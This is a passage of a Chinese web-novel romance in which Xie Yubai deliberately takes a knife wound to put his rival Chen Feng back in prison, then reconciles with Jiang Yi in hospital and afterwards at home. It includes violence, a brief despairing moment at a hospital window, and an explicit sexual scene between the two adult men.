他松手,谢承像个玩偶偏倒在地上,精英的白衬衫彻底被染红,他脸上沾着一抹血迹,冷笑着说,“谢逾白,今天怎么不杀我?” 谢逾白冷脸,“你觉得呢?” “你知道什么?你怎么发现的?”谢承疯狂地想知道答案。 “我查了近三个月公司的访客记录,还知道了你去过监狱,见过陈峰,帮他减刑。” 谢承语调变了,“你派人监视我?” “为什么不能监视你?”谢逾白笑得病态残忍,“毕竟我才是公司的老板,律所上下都知道。否则,你办公室这么大响动,为什么没有一个员工敢进来?从此刻开始,你没资格开除任何人,罢免你的文件已经下发了。” “你对我够狠,那么对江逸怎么样?你会告诉他真相吗?想必你知道了,这件事我不是主谋。” 谢逾白神情冷沉,“这也是你为什么还能喘气的原因。” “你会告诉他真相吗?告诉他,你就破局了。你不会,喜欢他就是你唯一的软肋,你只能看着他远离你,谢逾白,你是个另类,跟我留着一样的血,冷漠偏执,你别想祸害别人。” 谢逾白走到了门口,嘴角凝着冷意,“我跟你不一样,你热衷于让你身边的人痛不欲生,我跟你不同,我想让他顺心开心。所以,我不会说。” 他不会告诉江逸,他在公司的访客名单里看到过杨蓉的名字。 谢承在他关门之前说,“你找几个人,陈峰有同伙。” * 江逸在警察局焦急地等待,二姨因为太过担忧血压升高,紧急去了医院,谢逾白电话打进来的时候,江逸简直不敢相信自己听到了什么。 谢逾白的声音沉稳:“知知安全了,我正在开车去你家的路上。你要跟她通话吗?” 江逸嗓子卡住,终于找回了声音,天知道这五个小时他是怎么度过的。 电话里传来知知天真可爱的声音,“哥哥,我在漂亮哥哥的车上。” “知知,你有没有受伤?” “没有,我吃了冰激凌睡着了。漂亮哥哥把坏人打跑了,他说你让他来接我。” 江逸眼眶酸极了,鼻子带着鼻音,“你在逾白哥哥车上乖一点,以后不要吃陌生人给的东西。” “哥哥,那人竟然说是我爸爸,我爸爸早死了,对不对?” “嗯,知知别怕,我等你回来。”江逸的手颤抖,脑中浮现陈峰的脸,他原本是个官二代,老爹有点势力,退休以后玩彩票,家产输光了,有其父必有其子,陈峰同样好赌,酗酒,喝多了爱动手,打过两岁多的知知,也对杨娴动过手,被江逸知道了以后,被他狠狠揍了一顿,陈峰高利贷缠身,很快被起诉进去了。 他不敢想象知知被这么一个父亲带走,将来会过什么样的生活?那是他从小一点一点带大的小孩,江逸回二姨家的路上,一直在后怕。 谢逾白的车跟他同时到,江逸飞奔到车边,后排的知知冲进他怀里,江逸抱着她,满心的愧疚,知知哭了起来,他安慰着。 二姨被二姨夫扶着,来接知知,满脸泪痕。 谢逾白降下了车窗,凛冽的风瞬间灌进车内,没能吹走他脸上如纸般的苍白。他的嘴唇同样毫无血色,透着一种令人心疼的虚弱。 他声音微弱,仿佛一阵风便能将其吹散,“我去趟警察局,需要处理后续的事。” 江逸抱着知知,问:“真是陈峰带走的?你怎么找到的?” “晚些我跟你说。” “我先去了,那边着急。” 江逸眼神不舍,“几点?哪里?” “晚上八点,学校附近的九度咖啡厅。” 谢逾白升起车窗,单手握着方向盘,一只手抽出几张纸,再次按在腹部的伤口上,伤口处鲜血淋漓,不短的刀伤,伤口没有缝合,正在往外渗血。 谢雪姚赶到的时候,医生正在为谢逾白做缝合手术,等了两个小时,她才看到人,若非手术必须有家属陪同,她还不知道,她给谢承打了电话,发现父子二人在同一个医院住院。 谢逾白被缓缓推回了病房,麻醉药的药力尚未完全消退,人昏昏沉沉。手臂上的输液管,血液输送进他的身体。因失血过多,他的脸色依旧白得毫无血色,让人看了不禁心生怜惜。 谢承坐着轮椅过来,远远地透过玻璃窗看着,谢雪姚声音哽咽,“爸,我们家的悲剧不够多?我求你,别再干涉逾白的事了,他的性子比妈还坚韧,你真的会害死他。你要我们家死多少人才甘心?” 谢承面色如冰,“我没想到他会这样破局。”他跟杨娴策划的这个局天衣无缝,足够拆散他们,这样,谢逾白可以顺利去顶尖大学,毕业之后,继承公司,谢承懒得再管他们。 他们料定谢逾白不会全盘告诉江逸真相,那样只会让其痛苦,有了陈峰的威胁,谢家的虎视眈眈,江逸不会拿家人冒险,肯定会跟谢逾白分开。 “他故意受伤的,你弟的身手你知道,三两个人不是他的对手。” “他为什么?”谢雪姚知道谢逾白心狠,对自己也这么狠。 “第一,苦肉计,第二,解决陈峰,故意伤人罪,陈峰又要进去了。”谢承眼里闪过一丝赞许,“律所在他手里,算是后继有望。” “你眼里只有律所,爸,你才是疯子。” 谢承良久才说,“她走的那年我就应该去死,可是我没有,我是懦夫,律所是她唯一留下的。” “你错了爸,对妈来说,最珍贵的是逾白,你明不明白,他那么苦,被病痛折磨,我求求你,不要再阻碍他了。让他跟喜欢的人在一起吧。你自己失去了挚爱,也要让他承受这些吗?”谢雪姚哀痛地哭喊。 谢承有所动容,“我不会再干涉他的事。此外,这件事的真相,你不能告诉江逸。” 谢雪姚料到了,她在公司还要依靠谢承,她不能违逆,“爸,这次你真的做错了。不要再把你认为重要的强加给他,对他来说,江逸是第一位的。” “如果能重来,爸,你选择事业还是妈?” 谢承脸色灰白,心中一片寂寥,“可以重来吗。” 谢逾白醒了以后只喝了点水,一粒米也没吃,他缝合的伤口痛得正厉害,吞了两片去痛片,李师傅拿了干净的衣服来接他。 “你换衣服做什么?你要去哪?医生说你要留院观察一周,每天挂水消炎。”谢雪姚惊恐地看着自己不要命的弟弟。 “我出去一趟。”谢逾白费力地穿衣服,每动一下,他痛得蹙眉。 “逾白,你要出去做什么,我替你去。” “江逸在等我。” “我把他带来,行不行?” 谢逾白摇头,“我们约好了在咖啡厅见,我不能爽约。” “你疯了?你现在过去?你站得稳吗?医生给你下的诊断,二级伤残,你为了送陈峰进去,自愿挨刀的?”谢雪姚泣不成声,“你能不能别这么疯狂,你爱他,不管你自己的死活?” 她蹲在地上,捂着脸哭泣,“我再也不想失去家人了。”这几年她也很痛苦。 谢逾白摸她的头,“李叔扶我过去,说几句话,我不跟他交代一下,他晚上睡不好。” “那你呢?伤口崩开怎么办?你有想过你自己吗?” “此事因我而起,我负责解决。”谢逾白很庆幸他解决了,看到江逸痛苦自责着急的样子,他快要窒息而亡了。 赶到咖啡店的时候,江逸已经到了,谢逾白推开扶着他的李叔,自己进去咖啡店。 江逸目光定在谢逾白身上,谢逾白的脸呈现出一种毫无生气的病态灰白,恰似被抽去了所有色彩,他的唇色近乎透明,没了血色。他脚步迟缓而沉重,每迈出一步仿佛用尽了全身力气。 当谢逾白的视线触及江逸的那一刻,原本黯淡如死灰的眼神,有了一点难得的神采。他拖着虚弱的身躯,慢腾腾地朝着江逸走来,在他对面缓缓坐下,“不好意思,你等我很久了?” 江逸看了看时间,好像以前全是谢逾白等他,第一次他等,“刚到不久。” “知知怎么样了?” “她被吓得不轻,回家一直哭闹,刚刚二姨给哄睡了。” “陈峰那边你不用太过担心,警察会逮捕他,我想办法,暂时关押他。” 江逸看着他过于苍白的脸,“你是不是哪里不舒服?” “有点累了而已。” “那我们长话短说,说完你早点回去休息,你怎么得知的陈峰在哪?”江逸明澈的眼睛眨也不眨地看着他。 谢逾白沉默眼神木然,他要怎么开口,看着江逸平静的脸,他要怎么说因为自己的父亲,江逸这么久的努力训练付之东流?一股血腥的苦涩漫上喉咙,他的五脏六腑刀割似的疼痛。 “谢逾白,你说过,我们之间要坦诚。” 谢逾白喉咙似乎被刀片切割成一寸一寸的,“我去找了谢承,我查到他有过探访陈峰的记录。” 江逸的表情肉眼可见地变了,眉心紧蹙,胸膛不停起伏,满眼不可置信,“他为什么这么做?为什么阻止我和你吗?” “是的。”谢逾白吐字艰难,感觉空气越来越稀薄,“你放心,他下次不敢了。” “下次不敢?你凭什么肯定?”江逸开始爆发,“为什么这次会发生?下次他再动别人怎么办?你拿什么保证?” “他在乎公司,我把他踢出去了。打折了他的双手,下次再犯,我会亲手解决他。” 江逸的眼睛倏然睁大,“他是你爸,谢逾白,你不能做傻事。”他起初认为只是陈峰的个人行为,没想到里面还有这一层,这件事碰触到他的底线了,知知,家人,就是江逸的底线。 谢逾白看着他惨淡的眼神,痛不欲生,“江逸,我能料理谢承,这件事是他不对,我来承担。” “你他妈拿什么承担?”江逸眼底布满红血丝,且不说这五个小时,他生不如死,不提期待已久的面试泡汤,他不可能为了自己的恋爱,快乐,把知知放在钢丝上,这种事只有一次和无数次。 这次不成,谢承很可能还有后招。“你们家的人,好脏。你最近不要在我面前出现了。” 江逸起身,谢逾白拉住他的手,“我们怎么办?你又要跟我结束吗?”好不容易说完这句话,谢逾白感觉自己灵魂已经出窍了。 “你这个时候,问我这个问题,怕我俩散得太慢吗?”江逸恼怒极了,心里很乱,思绪是一团麻,他过于气愤,无暇思考下一步,他挣了一下,对方抓得太紧。 “你会因为这件事,不要我了吗?”谢逾白一双漆黑散淡的眼眸凄凄艾艾地看着他,“你会吗?” 江逸被他眼中的悲哀触动,会不会?他下意识的想法是,他不会,“他是他,你是你,你让我想一想。毕竟你爸犯的错,不可能全由你承担。” 谢逾白还是不松手,“江逸,你的面试被我搞砸了,对不起。” 江逸心中一紧,“面试对我来说,跟知知的安危比起来,算不得什么。”他已经是一团烂泥,奋力向上爬,仍然是烂泥,他不能让知知重蹈覆辙。 “谢逾白,我们冷静一段,再聊。”江逸不顾谢逾白伤心的眼神,一个人走出门,想离开,脚步却很沉重,他走到街角的商店,买了烟跟打火机。 点燃一根烟,还是那样,很难抽,呛嗓子,他站了20多分钟,眼神看着咖啡厅,谢逾白还没从里面走出来,怎么回事? 他顺着街道,看到了谢逾白家的迈巴赫,他回到咖啡厅门口,顺着玻璃往里面看,谢逾白的头趴在桌子上,良久,一动不动。 江逸心底瞬间警铃大作,不假思索地冲进屋内。他急切地奔到那人身边,迅速蹲下身子,抬手轻轻拍了拍他的脸,入手一片冰凉,寒意瞬间顺着指尖爬上心头。 寂静的空间里,突然传来“滴答滴答”的声响。江逸一怔,赶忙凝神看去,只见地上已洇出一小片鲜红,一滴、两滴……那刺目的鲜血正不断从他身体某处滴落,在地面晕染开一朵朵血花。 他的心瞬间猛地一抽,仿佛直接跳到了嗓子眼。见状,他急忙冲上前,双手颤抖着扶起谢逾白。紧接着,他一把掀开谢逾白身上的黑色大衣,只见里面灰色毛衣的腹部位置,已然被鲜血洇湿。 他心急如焚,迅速撩开毛衣,这才发现谢逾白的腹部缠了好几层白色绷带,可那殷红的鲜血仍不住地往外冒,洇红了大片绷带,触目惊心。 江逸只觉手脚仿若浸在冰窖之中,彻骨的寒意蔓延全身。他的手指不受控制地剧烈颤抖着,费了好大劲才掏出手机,拨通120。 江逸的视线转向谢逾白,他已然失去意识,脸庞毫无血色,冰冷得如同冬日里的寒霜。那一刻,江逸的心仿佛被一只无形的巨手狠狠攥住,紧接着活生生地切成两半,痛意将他淹没。 他本能地伸出双臂,紧紧抱住谢逾白的头,将其托在怀里,掌心不停摩挲他的脸。 病房里,五十岁的女医生,说话毫不客气,“你们家属怎么可以随着孩子胡闹,刀锋但凡偏一寸,他会有生命危险,昨晚手术怎么跟你们说的,他要住院观察,伤口蹦开了,这几天注意点,你们自己不拿家人的命当回事,医生能有什么办法?” 谢雪姚连连赔礼,“我们的错。” “患者急着出去干什么,外面有妖精勾他魂了?” 谢雪姚看了一眼江逸。 江逸:“……” 谢逾白悠悠转醒,见病房里只有一人,江逸坐在他椅子上削苹果,这画面如此熟悉和谐,仿佛回到了四年前,又仿佛回到了半年以前。 江逸的苹果拿在手里,他很会削苹果,长长一条皮,青白的果肉,谢逾白伸手来接。 江逸手动了动,当着他的面,把苹果送进自己嘴里,他的牙齿皓白,咔嚓咔嚓咬得苹果脆响。 苹果没给他?谢逾白怔怔地看着江逸。 江逸用刀背敲了敲他没来得及收回去的手背,声音懒懒的,“谢逾白,你这条命这么不想要?” 谢逾白知道他生气了,自知理亏,“对不起。” “你对不起我什么了?”江逸眸中闪过一抹幽光,语调不咸不淡,“你命不想要了,早点说,送给我玩啊。我跟你好了这么久,你那么矜贵,不让碰,不让睡的,哪天你这条命没了,我亏不亏?” 江逸附身,看着他矜贵俊逸的一张脸,眸心锁住他,“你个疯子,自我感动似的付出给谁看?” 第65章 男朋友,我饿了,你喂我…… 谢逾白眼瞳中的惊讶一闪而过, 随即不仅不慌不乱,反而将脸往上送了下,刀锋直接卡在了他的皮肤上, 马上就要划破出血,他缓缓说,“只要你不离开我,怎么样都可以。” 江逸握着水果刀的指尖麻了一瞬,“神经病,谢逾白, 你就是神经病!” 对着这张淡然的脸, 想到他腹部血肉淋漓的刀伤,江逸强迫自己收敛心中翻涌的怒气, 一双眼睛死死地盯着他, “为什么隐瞒你受伤的事, 这样做显得你很伟大, 是不是?” 谢逾白抚摸他的手腕,指尖轻轻捏在他的脉搏上, “那么晚了, 你经历了很痛苦的一天, 我只是不想再增添你的负担。我怕你晚上无法安眠。” 江逸双眼通红,“你躺在医院,身体流着血,你要我在这种情况下无知地安眠?你脑子怎么想的?如果换成我受这么重的伤,隐瞒你,因为去跟你见面,伤情恶化,你会怎么样?谢逾白, 你会闹到天翻地覆。” 他忘不了在等待救护车到来的二十分钟里,自己是怎么度过的,漫长,慌乱,心痛不已,埋怨自己,痛恨自己。 谢逾白神情动容,眼神情绪变化,“我知道了,是我考虑欠缺,让你担心了。”他没料到自己会在咖啡厅失去意识。 他去抚摸江逸的手指,“我的伤不在致命的位置,你不要担心,只是皮外伤。” “医生说你缝了52针,皮外伤?谢逾白你到底想怎样?”江逸忽然泄力了,浑身充满无力感,“你记得我们第一次闹掰是因为什么吗?” 谢逾白脸上血色越来越淡,因为他用手砸了玻璃柜门,江逸见不得他受伤,“我不疼,江逸,你别再因为种事跟我分开。” 江逸的眼神满是伤痛,他的情绪没那么浓烈,琥珀色的眼睛里总是淡淡的,清风般的释然,即使他面试告吹,他也没这么浓烈的痛苦。 此时此刻,谢逾白害怕了,他真的惹恼了这个人,他不敢再说什么,轻轻阖上了眼,等待着江逸的宣判。 江逸心口抽痛,一阵一阵地不停歇,这么多年,他早已经练就了铜皮铁骨,没想到会因为谢逾白产生如此强烈的痛感。他早已经接受了美好的事情从来不会降临在他身上。 他只是争取而已,像一个拼命生存的蝼蚁,去不了东大本来就在情理之中,老天安排他这种人就是要磨砺他,不会给他任何东西。 江逸不信命,因为命运从来不曾善待他。他痛到难以呼吸,推开门,走了出去。 谢逾白看着他消失的背影,心中最恐怖的噩梦成真,他一下子拔掉正在输血的输液管,针尖流淌着鲜红的血液,滴在白色的床铺上。他的血管同样往外涌着血。 他坐在床上,听着自己的心跳,一下一下,房间安静到要将他吞噬,彻骨的疼痛蔓延上来,如果没体会到念念不忘的回响,心爱之人的回应,他不会像现在这样痛不欲生,恨不得去死。 病房在六楼,窗户敞开着,谢逾白下床,冷风顺着窗户飘进来,有那么一刹那,他看向地面上的行人,有商贩的叫卖声,车辆的喇叭声,行人的嘈杂声。 如果,江逸不再见他,两人玩完,他会怎样?他只觉得好累,光想一想就要窒息。 身后传来一个气恼的声音,“谢逾白,你又在耍什么?” 谢逾白缓慢地扭头,看见离开的江逸手里拎着早餐,站在门口,江逸反手用力关上门,“谢逾白,别等我动手,自己滚回床上。” 床铺上晕染了一大片鲜红的血液,江逸怒目瞪他,把针头插回吊瓶胶皮盖。 谢逾白坐在床边,江逸视线落在他的左手,针孔上的血液凝固了,“你他妈的以自虐为乐,还是以虐我为乐?” 他抓起谢逾白的左手,视线像刀尖,“你这是在干什么?哑巴了?说话!” 谢逾白幽幽道:“我以为你走了。” “我能去哪?” “我以为你不想见我,不要我了。”谢逾白平静地陈述,眼睛里一潭死水。 “你长没长脑子?我能走吗?且不说我俩的关系如何,你为了救我妹妹受了这么重的伤,我能把你一个人扔在医院,我什么时候做过这么缺德的事?我让你这么没有安全感?” 谢逾白眼里的光渐渐汇聚,“你不会走?” “你这么高的智商喂狗了?”江逸烦躁地扯了扯领口,“你比知知还难带,更磨人,我要被你搞死了。” 他这颗心脏一天天快被谢逾白吓死了。 “你还不躺回去,你伤口现在能走动?想再缝针?”江逸真想一口把眼前的人咬死。 “你会跟我分手吗?”谢逾白静静地看着他,提问。 “分你妹,不分,行了吧?我看你就是有病,本来没想分,你天天在我耳边念叨。”江逸动作粗鲁地把人按在床上。 “为什么不分?我影响你的前途,危害你的家人。” 江逸手捏着他的下颌,“你没完了是吧?你在确认什么,挑战什么?” 谢逾白眼睫垂下,视线没收回,执着地看着他,“我想知道你的底线,会因为什么事抛弃我。” 江逸的手用力,他脸上被按出了红印子,江逸靠近他的耳朵,大声说:“我的底线早被你踩得稀巴烂,你还跟我谈底线,别试探我了,谢逾白,我要被你搞疯了。你想要的承诺,什么不离不弃,老子没有,你再作妖,我弄死你!先奸后杀。” 谢逾白紧绷的脸听到这四个字,没忍住笑了,“你什么时候开始奸我?” 江逸附身,对着他清晰光洁的下颌重重咬了上去,谢逾白喉结上下滑动,轻喘了一声,“现在开始了?” “去你的,病秧子。”江逸注意他的伤口,把人安顿在床头,从地上拿来餐桌,将买来的早餐一一摆好,包子刚刚挺热乎的,现在只有温热了,他叹了一口气,“谢逾白,我不跟你分手,你别闹了,好好养病。” “嗯。” “不许问为什么。” “可是,我想知道。”谢逾白眼神里有淡淡的期待。 “你隐瞒我,让我这么痛心难过,还指望从我嘴里听见什么?” “你不说,我来说,因为你喜欢我吗?”谢逾白听见自己的心跳一下下撞击着胸腔,像扑火的飞蛾。 江逸视线凝在他脸上,“谢逾白,你是个疯子,轻轻松松谈个恋爱不好吗?你非要搞成这样,鲜血淋漓,痛彻心扉。” 江逸是个体面的,松弛的人,从来不爱经营太过沉重的感情,点到为止是成年人的礼貌,谢逾白却要他痛彻心扉,掏心掏肺。 良久,他搅动大米粥里面的汤勺,垂着睫毛,声音轻缓,“你在咖啡厅昏迷,我抱着你等待救护车,是我经历最黑暗的时间,我这辈子年纪不大,经历的黑暗不少。” 姥姥离世,父亲入狱,母亲改嫁被家暴,再次改嫁扔下刚断奶粉的妹妹。江逸一次次咬牙挺了过来,抱着谢逾白等待的时间,是他最痛苦,最无助的。 “我是人,我有感情的,谢逾白,不要再考验我,质疑我,我对你的喜欢,你还看不到吗?但凡你能看到,就不会这么没有安全感,这么怀疑我?” 谢逾白胸腔里的不安被安抚,眼神茫然无措,“怪我,我自己的问题。” 他没得到过健全的爱,母亲的爱总是歇斯底里,母亲的爱最终失去了,他爱江逸到骨子里,卑微至极,所以才会如此患得患失。 “未来的事无法预料,我给不了你太圆满的承诺,谢逾白你记得,我喜欢你,真心想跟你在一起,我不是不负责的人,我没有随意对你,请你认真记住我的话,不要再怀疑我。”江逸眼神真切,语气诚恳。 谢逾白手指抓着衣襟,眼神中的浪潮一波接着一波,“我……” “你该吃饭了,磨人精。幸亏你喜欢男人,哪个女人能受得了你这么作的。” “我没有喜欢男人,江逸,我只喜欢你。”谢逾白知晓,自己并非天生对同性感兴趣,他只对江逸有感觉。 江逸不自在地摸了摸耳朵,“我在照顾你吃饭,没在跟你调情。” 谢逾白咬了下唇,“是我在跟你调情。” 他偏头,在江逸递过来握着勺子的手背上,轻轻吻了一下。 江逸的手背传来柔软的触感,手一抖,米粥洒在谢逾白衣领上,他叹气,“你呀,真行。我他妈上辈子怎么渣了你,这辈子要来还债。” “可能是先奸……” “闭嘴。”江逸两根手指按住他的两片唇,眼含警告。 谢逾白拉下他的手,攥在掌心,乌亮的眼眸闪动着微光,紧紧凝视着他,“男朋友,我饿了,你喂我一口。” “你受伤的是不是手,自己吃。” 谢逾白把手递过来,左手手背上面的针眼有着血迹,一片淤青,右手指节上面有伤痕,应该是昨天打架导致的,“手疼。” 明知道他在故作这副姿态撒娇示弱,江逸毫无招架之力,用湿巾将他左手的血迹一一清理,拿碘伏消了下毒。 两只手处理结束,搭配谢逾白因为失血过多,略显惨淡的一张脸,江逸心中不免升起柔情,“你发现陈峰的踪迹不会报警处理?非要逞英雄?” “那么,你觉得我帅气吗?” 江逸按了下他右手指节上的破口,“帅个头,衰还差不多。” 谢逾白嘶了一声,“疼。” “下回改正吗?” “会改。” “改什么?” 谢逾白沉思,“不隐瞒受伤的事。” “错了,是不能再让自己受伤。”江逸掀起眼看他,眼眸中关切不加掩饰。 江逸捏了下他的耳朵,边缘红红的很可爱,谁能想到这样淡雅如清雪的人,是个打架不要命的疯批。 江逸舀一勺米粥递到他嘴边,哄着他说,“谢逾白,吃吧,快凉了。” 第66章 你心疼我,就抱抱我。…… 护士来给谢逾白的伤口消毒, 江逸第一次毫无保留地看清谢逾白腹部的伤口。 那道伤口像一道狰狞的沟壑,横亘在右侧腰腹处,深不见底。殷红的皮肉肆意地向外翻卷着, 仿佛在无声诉说着遭受的重创。缝针的痕迹歪歪扭扭,每一针都扎在江逸心上,令他不忍直视,满心都是疼惜与自责。 谢逾白的手盖住他的眼睛,“别看,我已经不疼了。” 怎么可能不疼?不是小伤口, 那么深, 那么长,江逸眼眶发热, 护士离开以后, 他为谢逾白整理衣襟。 谢逾白无声地用一双乌黑的眼瞳看他, “你心疼我, 就抱抱我。” 江逸很轻地把人揽进怀里,鼻子闷闷的, “谢逾白, 你不要再这样, 我真的很难过。” “我知道,是我不好。” 谢逾白侧过脸,动作轻柔地在江逸的脸颊上落下一吻。他的目光落在江逸脸上。 江逸白皙的面容满是失落之色。他的眼底泛红,像是被雾气氤氲,鼻尖染上一抹红,水润的嘴唇颤抖着。 他满心疼惜,情不自禁地倾身,擒住江逸的唇瓣, 软绵绵的如糖丝,唇瓣温情地贴在一起,互相慰藉着酸与苦,转变成一缕甜蜜。 江逸抓着他的肩膀,开始回吻他,冷静沉敛的人拥有让人意外的柔软双唇,谢逾白的气息清浅干爽,像夏日的海浪,拥抱着他,亲吻着他,有种劫后余生,失而复得的美好。 舌尖慢慢舔舐,嘴唇缓缓吮吸,气息交融在一起,两颗心脏贴得很近,心跳此起彼伏,彼此接纳。 谢逾白鼻尖贴着他的,“喜欢你。”眼前之人看也看不够,一天不见就会思念。 江逸心念微动,抿着唇,眸光自下而上定格在谢逾白脸上,视线如绵绵的情丝,看了良久,叹了叹气。 * 谢逾白第二天转回了之前的私立医院,全程江逸陪同,没回过家,好在私立医院环境好一些,有独立卫浴。 住院六天,出院当天上午,江逸接到一个陌生号码。 陈峰打来的,“江逸,是我,我需要跟你谈一谈。” “一切交给法律,我跟你没有对话的必要。”江逸相信谢逾白,这方面他是专业的,一定会选择最好的辩护律师,但他知道陈峰带走知知的事没那么严重,知知是他的亲生女儿,顶多批评警告而已。 “我见我自己的女儿而已,擅自带走知知,让你们担心,是我办事不地道,但你们用肮脏的手段污蔑我,我是携带了刀具,但我真不是故意刺伤他的,你朋友在污蔑我。” 江逸声音冷下来,“不是你?难道他自己弄伤自己?你脑子坏掉了。” “就是他自己,他是个练家子,把我两个朋友快速撂倒,轮到我却跟我缠斗,逼我用刀,我当时只是虚晃一下,他可以躲过去。”陈峰语速越来越快,情绪激动。 江逸认为是无稽之谈,末路狂徒,懒得听他说话,挂了电话。他寻思着找谢雪姚,说一下今天出院以后,谢逾白由他照顾的事。 谢雪姚站在楼梯口,谢承坐在轮椅里。 “今天逾白出院,住院这几天,江逸一直在照顾他,他们是真心的,你别再横生是非。” 谢承哼了声,“你弟弟为了别人,可以心甘情愿挨刀子,你觉得这是好事?” “我不认为是好事,是他自己选择的。我尊重他的选择。” “他跟你妈妈一样,太疯狂,不理智,他的沉稳全是表面的。” 谢雪姚情绪激奋,“既然你知道他跟妈妈一样爱恨分明,别再刺激他,让他如愿以偿守着喜欢的人。爸,你不要一错再错。” “陈峰那边不认故意伤害罪,他察觉到谢逾白早有受伤的预谋。” “你会帮他的,是不是?按死陈峰的罪名,不管怎么样,逾白因为他受伤。”只有陈峰认罪,才能不再成为江逸的隐患,彻底解决这件事,否则,总会成为悬在脖子上的一把刀。 谢逾白算好了这些,做的决定。 谢承冷酷的面容有了裂痕,“你说,他像我还是她?” “不知道,你们全是疯子。” 江逸脚步很轻的往后退,陈峰没撒谎,谢逾白故意受伤,就是为了起诉他,把人再次送进去,这样知知就没人打扰了。 江逸走到走廊尽头,走到楼梯没人处,将脸埋进手掌,心中的思绪纷纷杂杂。 世界上怎么会有谢逾白这种人?如此聪明,如此疯癫。 回到病房,李师傅已经整理好物品,谢逾白换上了精英少爷装扮。 江逸问,“你回家吗?” 谢逾白拉起他的手,“你跟我去就知道了。” 李师傅没往别墅那边开,反而是江逸家的方向,在距离他家有一段距离的位置停下。这里前年开,价格不低,车停在地下车位,乘坐电梯,上到了10层,江逸看着跳动的红色按钮,最高11层。 电梯打开,直接对着入户门,一梯一户,谢逾白看了下电子密码锁,声音有些不自然,“密码是你生日。” “你家,设什么我生日。” 超大的落地窗,面对着附近最大的深林公园,冬雪挂在青松枝头,一片银雪的天地景色在眼皮底下。 江逸没什么欣赏的心情,谢逾白第一时间去了浴室,他爱清洁,在医院伤口不方便的情况下,每天要洗上两三次,阻止了几次以后,毫无效果。 江逸不再浪费口舌,只要他不弄到伤口里就可以。 浴室半透明的磨砂玻璃,谢逾白进去有二十分钟了,江逸思绪回归现实,听着淡淡的水声,看着玻璃上偶尔出现的颀长身影,周身的血液开始发热。 他拧了下洗手间的把手,门打开,谢逾白背对着他,惊了一瞬,“你想去卫生间?这层有三个……” 江逸迈步到他身后,看着他肩背的肌肉线条,结实流畅,他把人抱住,贴在他的耳廓问,“伤口怎么样了?医生说你可以洗澡?” “好多了,我避开伤口了。你能不能先出去?” 江逸抚摸他的腹肌,一块一块的垒实,“谢逾白,你跟我什么关系?” “恋爱关系。” “为什么只能你碰我,我不能碰你?” 谢逾白忽视身后人的温度,嗓子干痒,“你能碰。” 江逸把人压在洗漱池上,贴上他的胸口,鼻息满是水汽,舌头舔舐他侧颈的水珠,感受他刚沐浴后清新与湿润。 谢逾白有些措手不及,修长的手指向后按住冰凉的台面,呼吸急促,被江逸撩拨的浑身发热,“你要在这儿?” “不行?” “我没说不行。” 谢逾白头靠侧在冰冷的瓷砖上,腰硌在洗漱池的边缘上,贴着他的人身体灼热,两人之间的气息烫到不行。 谢逾白的脸神情如远山,深远沉静,薄薄的唇喘息得很急,肤色如常,耳朵红到仿佛被火焰灼烧。 江逸冰凉的唇落在他烫红了的耳朵上,左边耳垂有个小小的耳洞,舌尖舔过,谢逾白微微颤抖。 江逸软滑的舌很有耐心,细致地擦过他的耳骨,钻进耳骨,细细品味,牙齿咬住他的耳朵边缘,极尽折磨,一遍又一遍。 谢逾白狭长深沉的眼眸半阖着,如果世界上真有什么极乐,此时此刻就是,他喉结不断吞咽,感受心爱之人的爱抚,亲吻。 一向没耐心的江逸忽然有了极致的温柔,在谢逾白身上细细动作着,江逸漂亮的瞳孔爬满了艳丽之色,他魅惑而不自知,每一次眼眸流转,顾盼生辉。 被这双情深美丽的眼睛注视着,谢逾白很容易沦陷其中,随着他的动作浮沉,他被抛向云层,迷醉绚丽的烟火在他眼底。 谢逾白低沉微喘,马上要解脱。忽然被制止了,他幽深沉沉的眸光看向江逸。 江逸琥珀色的眸子跟他对视,眼里沉沉的情意直达他的心底,若非被桎梏着,这一眼足矣让谢逾白飞上云霄,只是他被迫承受,淡色的唇有了一抹薄红,“你……别折磨我了。” “求我,试试。” 谢逾白喉结滑动,“求你,阿逸。” 江逸咬住他的嘴唇,让他头皮酥麻,全身的神经已经崩到了极致,他吃惊地看到江逸蹲了下去。 他根本忍不住了,全身的血液沸腾,神经叫嚣着,他神情糜烂,身体被控制。 …… 江逸的嘴唇微张,谢逾白手撑在台面上,大口喘息,看见江逸嫣红的唇,白皙的脸,湿漉漉的眼尾,湿润的唇,他的下颌、锁骨湿哒哒的。 谢逾白脑子嗡嗡回响,这画面简直要了他的命,余韵仍在,手指发麻,他的嗓子哑掉了,他看到江逸喉结动了下,吞咽了什么东西。 羞耻感漫上来,谢逾白赶紧用新的洗漱杯接好水,把江逸拽过来,递给他,“你漱口。” 江逸失了神,陷入一种离魂的恍惚状态。 谢逾白手指探入他的口腔,滑动着,把里面剩余的搅动出来,把清水喂给他,“吐。” 江逸在他说之前,将水咽了下去。 谢逾白臊得耳朵灼热,两根手指勾住他的舌头,“你怎么回事?不能咽。” 江逸嫣红的软舌露出一截,舔了下饱满的下唇,眼瞳流光明艳,“为什么不能咽?有毒?” 谢逾白抽出柔软的纸巾,胡乱地给他擦拭下颌,锁骨上的残余,眼神混乱害羞,“你真胡来,张嘴,我看里面还有没有。” “没有了。” 谢逾白把人搂进怀里,抬起江逸白皙的脸,嘴角有一块有点红,“我说你做不了这个,嘴角撑坏了。” 江逸偏头,眼尾发红,眸子湿润,“我自愿的,你不用给我擦了,你出去我洗澡。” 谢逾白抱住他的腰,声音有些颤抖,“跟我做.爱吗?江逸,要试试吗。” 第67章 你要对我负责。 江逸眼眸里调笑地看他, “谢少爷,说这话羞不羞?” 江逸最爱看他羞怒的样子,谢逾白脸色淡红, 唇线拉直,“你……” 江逸一边刷牙漱口,一边勾住他的脖子,“回答你的问题,我答应你,可以试一试, 但是, 你如果把我弄疼了,就换我来做。” 谢逾白瞥他, 脸色臊红。 江逸把人往下拉, 绵密地亲吻他, 在他耳边低声问, “现在能感觉到我对你的喜欢吗?” 谢逾白密长的眼睫垂着,点头。 “我们在这做, 还是你先出去, 等我洗完澡?” 谢逾白有一刹那地慌乱, 围好浴袍,拉开门出去。 隔了几秒,敲门声传来,江逸已经脱了衣服,拉开门,“怎么?” 谢逾白的视线在他身上扫了又扫。 “看得不够彻底,你进来观赏?”江逸侧了下身体。 谢逾白把手里的睡衣内裤往前一送,“拿给你的。” 江逸弯了下唇, 看到崭新的衣物是他的尺码,他欲言又止,“谢了。” 他洗完澡出来,次卧已经摆好了一会儿出门要穿的衣服,白色卫衣,深蓝色牛仔裤,外搭短款羊绒深灰色外套,全是江逸的尺码185,谢逾白一边动作不熟练地拖地,偶尔瞄他一眼。 江逸拎着衣服,问:“你给我买的?” 